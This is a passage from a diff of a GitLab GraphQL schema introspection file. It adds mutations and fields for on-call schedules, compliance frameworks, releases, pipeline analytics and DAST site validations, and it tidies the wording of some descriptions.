"INPUT_OBJECT", + "name": "DeleteDevopsAdoptionSegmentInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "DeleteDevopsAdoptionSegmentPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "designManagementDelete", "description": null, "args": [ @@ -38841,6 +41683,33 @@ "deprecationReason": null }, { + "name": "destroyComplianceFramework", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "DestroyComplianceFrameworkInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "DestroyComplianceFrameworkPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "destroyContainerRepository", "description": null, "args": [ @@ -38868,6 +41737,33 @@ "deprecationReason": null }, { + "name": "destroyContainerRepositoryTags", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "DestroyContainerRepositoryTagsInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "DestroyContainerRepositoryTagsPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "destroyNote", "description": null, "args": [ @@ -38973,7 +41869,7 @@ "ofType": null }, "isDeprecated": true, - "deprecationReason": "Use vulnerabilityDismiss. Deprecated in 13.5" + "deprecationReason": "Use vulnerabilityDismiss. Deprecated in 13.5." }, { "name": "environmentsCanaryIngressUpdate", @@ -39840,6 +42736,87 @@ "deprecationReason": null }, { + "name": "oncallScheduleCreate", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "OncallScheduleCreateInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "OncallScheduleCreatePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "oncallScheduleDestroy", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "OncallScheduleDestroyInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "OncallScheduleDestroyPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "oncallScheduleUpdate", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "OncallScheduleUpdateInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "OncallScheduleUpdatePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "pipelineCancel", "description": null, "args": [ @@ -40056,6 +43033,60 @@ "deprecationReason": null }, { + "name": "releaseDelete", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "ReleaseDeleteInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "ReleaseDeletePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "releaseUpdate", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "ReleaseUpdateInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "ReleaseUpdatePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "removeAwardEmoji", "description": null, "args": [ @@ -40080,7 +43111,7 @@ "ofType": null }, "isDeprecated": true, - "deprecationReason": "Use awardEmojiRemove. Deprecated in 13.2" + "deprecationReason": "Use awardEmojiRemove. Deprecated in 13.2." }, { "name": "removeProjectFromSecurityDashboard", @@ -40161,7 +43192,7 @@ "ofType": null }, "isDeprecated": true, - "deprecationReason": "Use vulnerabilityRevertToDetected. Deprecated in 13.5" + "deprecationReason": "Use vulnerabilityRevertToDetected. Deprecated in 13.5." }, { "name": "runDastScan", @@ -40188,7 +43219,7 @@ "ofType": null }, "isDeprecated": true, - "deprecationReason": "Use DastOnDemandScanCreate. Deprecated in 13.4" + "deprecationReason": "Use DastOnDemandScanCreate. Deprecated in 13.4." }, { "name": "terraformStateDelete", @@ -40431,7 +43462,7 @@ "ofType": null }, "isDeprecated": true, - "deprecationReason": "Use awardEmojiToggle. Deprecated in 13.2" + "deprecationReason": "Use awardEmojiToggle. Deprecated in 13.2." }, { "name": "updateAlertStatus", @@ -40542,6 +43573,33 @@ "deprecationReason": null }, { + "name": "updateComplianceFramework", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "UpdateComplianceFrameworkInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "UpdateComplianceFrameworkPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "updateContainerExpirationPolicy", "description": null, "args": [ @@ -40569,6 +43627,33 @@ "deprecationReason": null }, { + "name": "updateDevopsAdoptionSegment", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "UpdateDevopsAdoptionSegmentInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "UpdateDevopsAdoptionSegmentPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "updateEpic", "description": null, "args": [ @@ -40812,6 +43897,60 @@ "deprecationReason": null }, { + "name": "vulnerabilityExternalIssueLinkCreate", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "VulnerabilityExternalIssueLinkCreateInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "VulnerabilityExternalIssueLinkCreatePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "vulnerabilityExternalIssueLinkDestroy", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "VulnerabilityExternalIssueLinkDestroyInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "VulnerabilityExternalIssueLinkDestroyPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "vulnerabilityResolve", "description": null, "args": [ @@ -40936,6 +44075,59 @@ "deprecationReason": null }, { + "name": "complianceFrameworks", + "description": "Compliance frameworks available to projects in this namespace Available only when feature flag `ff_custom_compliance_frameworks` is enabled.", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "ComplianceFrameworkConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "containsLockedProjects", "description": "Includes at least one project where the repository size exceeds the limit", "args": [ @@ -41454,7 +44646,7 @@ "inputFields": [ { "name": "id", - "description": "The global id of the namespace to mutate", + "description": "The global ID of the namespace to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -42396,6 +45588,408 @@ "possibleTypes": null }, { + "kind": "INPUT_OBJECT", + "name": "OncallScheduleCreateInput", + "description": "Autogenerated input type of OncallScheduleCreate", + "fields": null, + "inputFields": [ + { + "name": "projectPath", + "description": "The project to create the on-call schedule in", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "name", + "description": "The name of the on-call schedule", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "description", + "description": "The description of the on-call schedule", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "timezone", + "description": "The timezone of the on-call schedule", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "OncallScheduleCreatePayload", + "description": "Autogenerated return type of OncallScheduleCreate", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "oncallSchedule", + "description": "The on-call schedule", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "IncidentManagementOncallSchedule", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", + "name": "OncallScheduleDestroyInput", + "description": "Autogenerated input type of OncallScheduleDestroy", + "fields": null, + "inputFields": [ + { + "name": "projectPath", + "description": "The project to remove the on-call schedule from", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "iid", + "description": "The on-call schedule internal ID to remove", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "OncallScheduleDestroyPayload", + "description": "Autogenerated return type of OncallScheduleDestroy", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "oncallSchedule", + "description": "The on-call schedule", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "IncidentManagementOncallSchedule", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", + "name": "OncallScheduleUpdateInput", + "description": "Autogenerated input type of OncallScheduleUpdate", + "fields": null, + "inputFields": [ + { + "name": "projectPath", + "description": "The project to update the on-call schedule in", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "iid", + "description": "The on-call schedule internal ID to update", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "name", + "description": "The name of the on-call schedule", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "description", + "description": "The description of the on-call schedule", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "timezone", + "description": "The timezone of the on-call schedule", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "OncallScheduleUpdatePayload", + "description": "Autogenerated return type of OncallScheduleUpdate", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "oncallSchedule", + "description": "The on-call schedule", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "IncidentManagementOncallSchedule", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "Package", "description": "Represents a package", @@ -43017,6 +46611,24 @@ "description": null, "fields": [ { + "name": "active", + "description": "Indicates if the pipeline is active", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "beforeSha", "description": "Base SHA of the source branch", "args": [ @@ -43564,6 +47176,261 @@ "possibleTypes": null }, { + "kind": "OBJECT", + "name": "PipelineAnalytics", + "description": null, + "fields": [ + { + "name": "monthPipelinesLabels", + "description": "Labels for the monthly pipeline count", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "monthPipelinesSuccessful", + "description": "Total monthly successful pipeline count", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "monthPipelinesTotals", + "description": "Total monthly pipeline count", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pipelineTimesLabels", + "description": "Pipeline times labels", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pipelineTimesValues", + "description": "Pipeline times", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "weekPipelinesLabels", + "description": "Labels for the weekly pipeline count", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "weekPipelinesSuccessful", + "description": "Total weekly successful pipeline count", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "weekPipelinesTotals", + "description": "Total weekly pipeline count", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "yearPipelinesLabels", + "description": "Labels for the yearly pipeline count", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "yearPipelinesSuccessful", + "description": "Total yearly successful pipeline count", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "yearPipelinesTotals", + "description": "Total yearly pipeline count", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "INPUT_OBJECT", "name": "PipelineCancelInput", "description": "Autogenerated input type of PipelineCancel", @@ -43571,7 +47438,7 @@ "inputFields": [ { "name": "id", - "description": "The id of the pipeline to mutate", + "description": "The ID of the pipeline to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -43803,7 +47670,7 @@ "inputFields": [ { "name": "id", - "description": "The id of the pipeline to mutate", + "description": "The ID of the pipeline to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -44003,7 +47870,7 @@ "inputFields": [ { "name": "id", - "description": "The id of the pipeline to mutate", + "description": "The ID of the pipeline to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -44236,6 +48103,20 @@ "defaultValue": null }, { + "name": "domain", + "description": "Filter query for given domain", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "AlertManagementDomainFilter", + "ofType": null + } + }, + "defaultValue": "operations" + }, + { "name": "search", "description": "Search query for title, description, service, or monitoring_tool.", "type": { @@ -44340,6 +48221,20 @@ "defaultValue": null }, { + "name": "domain", + "description": "Filter query for given domain", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "AlertManagementDomainFilter", + "ofType": null + } + }, + "defaultValue": "operations" + }, + { "name": "search", "description": "Search query for title, description, service, or monitoring_tool.", "type": { @@ -44608,6 +48503,20 @@ "deprecationReason": null }, { + "name": "ciCdSettings", + "description": "CI/CD settings for the project", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "ProjectCiCdSetting", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "clusterAgent", "description": "Find a single cluster agent by name", "args": [ @@ -44846,6 +48755,24 @@ "deprecationReason": null }, { + "name": "containerRepositoriesCount", + "description": "Number of container repositories in the project", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "createdAt", "description": "Timestamp of the project creation", "args": [ @@ -44994,11 +48921,29 @@ }, { "name": "dastSiteValidation", - "description": "DAST Site Validation associated with the project", + "description": "DAST Site Validation associated with the project. Will always return `null` if `security_on_demand_scans_site_validation` is disabled", "args": [ { + "name": "normalizedTargetUrls", + "description": "Normalized URL of the target to be scanned", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "defaultValue": null + }, + { "name": "targetUrl", - "description": "target URL of the DAST Site Validation", + "description": "URL of the target to be scanned", "type": { "kind": "NON_NULL", "name": null, @@ -45020,6 +48965,77 @@ "deprecationReason": null }, { + "name": "dastSiteValidations", + "description": "DAST Site Validations associated with the project. Will always return no nodes if `security_on_demand_scans_site_validation` is disabled", + "args": [ + { + "name": "normalizedTargetUrls", + "description": "Normalized URL of the target to be scanned", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "DastSiteValidationConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "description", "description": "Short description of the project", "args": [ @@ -45300,6 +49316,59 @@ "deprecationReason": null }, { + "name": "incidentManagementOncallSchedules", + "description": "Incident Management On-call schedules of the project", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "IncidentManagementOncallScheduleConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "issue", "description": "A single issue of the project", "args": [ @@ -46062,7 +50131,7 @@ "args": [ { "name": "startDate", - "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.start", + "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.start.", "type": { "kind": "SCALAR", "name": "Time", @@ -46072,7 +50141,7 @@ }, { "name": "endDate", - "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.end", + "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.", "type": { "kind": "SCALAR", "name": "Time", @@ -46092,7 +50161,7 @@ }, { "name": "state", - "description": "Filter iterations by state", + "description": "Filter iterations by state.", "type": { "kind": "ENUM", "name": "IterationState", @@ -46102,7 +50171,7 @@ }, { "name": "title", - "description": "Fuzzy search by title", + "description": "Fuzzy search by title.", "type": { "kind": "SCALAR", "name": "String", @@ -46112,7 +50181,7 @@ }, { "name": "id", - "description": "The ID of the Iteration to look up", + "description": "Global ID of the Iteration to look up.", "type": { "kind": "SCALAR", "name": "ID", @@ -46122,7 +50191,7 @@ }, { "name": "iid", - "description": "The internal ID of the Iteration to look up", + "description": "Internal ID of the Iteration to look up.", "type": { "kind": "SCALAR", "name": "ID", @@ -46132,7 +50201,7 @@ }, { "name": "includeAncestors", - "description": "Whether to include ancestor iterations. Defaults to true", + "description": "Whether to include ancestor iterations. Defaults to true.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -46562,6 +50631,16 @@ "defaultValue": null }, { + "name": "reviewerUsername", + "description": "Username of the reviewer", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { "name": "after", "description": "Returns the elements in the list that come after the specified cursor.", "type": { @@ -46644,7 +50723,7 @@ "args": [ { "name": "startDate", - "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.start", + "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.start.", "type": { "kind": "SCALAR", "name": "Time", @@ -46654,7 +50733,7 @@ }, { "name": "endDate", - "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.end", + "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.", "type": { "kind": "SCALAR", "name": "Time", @@ -46980,6 +51059,20 @@ "deprecationReason": null }, { + "name": "pipelineAnalytics", + "description": "Pipeline analytics", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "PipelineAnalytics", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "pipelines", "description": "Build pipelines of the project", "args": [ @@ -47091,6 +51184,24 @@ "defaultValue": null }, { + "name": "relations", + "description": "Filter members by the given member relations", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "ProjectMemberRelation", + "ofType": null + } + } + }, + "defaultValue": "[DIRECT, INHERITED]" + }, + { "name": "after", "description": "Returns the elements in the list that come after the specified cursor.", "type": { @@ -47825,6 +51936,24 @@ "deprecationReason": null }, { + "name": "squashReadOnly", + "description": "Indicates if squash readonly is enabled", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "sshUrlToRepo", "description": "URL to connect to the project via SSH", "args": [ @@ -47952,6 +52081,20 @@ "deprecationReason": null }, { + "name": "totalPipelineDuration", + "description": "Total pipeline duration for all of the pipelines in a project", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "userPermissions", "description": "Permissions for the current user on the resource", "args": [ @@ -48431,6 +52574,61 @@ }, { "kind": "OBJECT", + "name": "ProjectCiCdSetting", + "description": null, + "fields": [ + { + "name": "mergePipelinesEnabled", + "description": "Whether merge pipelines are enabled.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "mergeTrainsEnabled", + "description": "Whether merge trains are enabled.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "project", + "description": "Project the CI/CD settings belong to.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "Project", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", "name": "ProjectConnection", "description": "The connection type for Project.", "fields": [ @@ -48819,6 +53017,41 @@ "possibleTypes": null }, { + "kind": "ENUM", + "name": "ProjectMemberRelation", + "description": "Project member relation", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": [ + { + "name": "DIRECT", + "description": "Direct members", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "INHERITED", + "description": "Inherited members", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "DESCENDANTS", + "description": "Descendants members", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "INVITED_GROUPS", + "description": "Invited Groups members", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "ProjectPermissions", "description": null, @@ -49937,7 +54170,7 @@ "inputFields": [ { "name": "id", - "description": "The id of the integration to mutate", + "description": "The ID of the integration to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -50039,7 +54272,7 @@ "inputFields": [ { "name": "id", - "description": "The id of the integration to mutate", + "description": "The ID of the integration to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -50309,6 +54542,33 @@ "description": null, "fields": [ { + "name": "ciConfig", + "description": "Get linted and processed contents of a CI config. Should not be requested more than once per request.", + "args": [ + { + "name": "content", + "description": "Contents of .gitlab-ci.yml", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + 